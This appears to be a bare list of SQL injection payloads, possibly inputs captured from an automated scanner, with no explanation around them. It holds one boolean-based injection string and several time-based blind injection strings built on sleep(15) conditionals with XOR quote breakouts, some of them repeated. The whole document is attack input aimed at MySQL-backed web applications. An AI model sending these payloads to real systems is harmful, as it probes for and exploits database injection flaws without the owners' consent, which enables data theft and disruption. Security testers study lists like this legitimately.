1

-1" OR 2+84-84-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

if(now()=sysdate(),sleep(15),0)

if(now()=sysdate(),sleep(15),0)

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z